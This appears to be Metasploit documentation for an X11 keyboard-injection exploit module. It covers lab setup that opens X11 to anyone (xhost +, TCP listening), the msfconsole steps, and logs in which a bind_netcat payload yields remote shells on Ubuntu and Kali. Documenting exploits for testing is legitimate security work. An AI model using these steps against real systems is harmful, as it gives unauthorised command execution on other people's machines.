4.2 KiB
4.2 KiB
Vulnerable Application
X11 (X Window System) is a graphical windowing system most common on unix/linux.
The service can accept connections from any users when misconfigured which is done with the command xhost +
.
This exploit has been verified against:
- Ubuntu 14.04
- Ubuntu 16.04
- Kali via Emulation method
This exploit does NOT work against:
- Solaris 10 Java Desktop System (alt+F2 has no effect)
Emulation
This can be emulated (on kali) utilizing the following command: socat -d -d TCP-LISTEN:6000,fork UNIX-CONNECT:/tmp/.X11-unix/X0
Ubuntu 12.04, 14.04
-
sudo nano /etc/lightdm/lightdm.conf
-
Under the
[SeatDefaults]
area, add:xserver-allow-tcp=true allow-guest=true
-
logout or reboot
-
Verification:
sudo netstat -antp | grep 6000
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
-
Now, to verify you allow ANYONE to get on X11, type:
xhost +
Ubuntu 16.04
Use the Ubuntu 12.04 instructions, however change SeatDefaults
to Seat:*
Verification Steps
- Install and configure X11
- Start msfconsole
- Do:
use exploit/unix/x11/x11_keyboard_exec
- Do:
set rhost [IPs]
- Do:
set payload [payload]
- Do:
exploit
Scenarios
Ubuntu 14.04
msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(x11_keyboard_exec) > run
[*] Started bind handler
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Register keyboard
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Opening "Run Application"
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Waiting 5 seconds...
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Opening xterm
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Waiting 5 seconds...
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Typing and executing payload
[*] Command shell session 1 opened (192.168.2.117:44549 -> 192.168.2.75:4444) at 2017-04-23 15:26:56 -0400
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
NAME="Ubuntu"
VERSION="14.04.5 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.5 LTS"
VERSION_ID="14.04"
Ubuntu 16.04
msf exploit(x11_keyboard_exec) > set rhost 192.168.2.26
rhost => 192.168.2.26
msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(x11_keyboard_exec) > exploit
[*] Started bind handler
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Register keyboard
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Opening "Run Application"
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Waiting 5 seconds...
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Opening xterm
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Waiting 5 seconds...
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Typing and executing payload
[*] Command shell session 2 opened (192.168.2.117:45813 -> 192.168.2.26:4444) at 2017-04-23 15:29:27 -0400
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.1 LTS"
NAME="Ubuntu"
VERSION="16.04.1 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.1 LTS"
VERSION_ID="16.04"
UBUNTU_CODENAME=xenial
Kali via Emulation
msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(x11_keyboard_exec) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(x11_keyboard_exec) > run
[*] Started bind handler
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Register keyboard
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Opening "Run Application"
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Waiting 5 seconds...
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Opening xterm
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Waiting 5 seconds...
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Typing and executing payload
[*] Command shell session 3 opened (127.0.0.1:37909 -> 127.0.0.1:4444) at 2017-04-23 15:35:26 -0400